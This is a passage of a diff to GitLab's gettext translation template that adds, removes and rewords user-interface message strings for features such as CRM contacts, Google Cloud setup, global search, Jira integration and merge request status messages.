+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
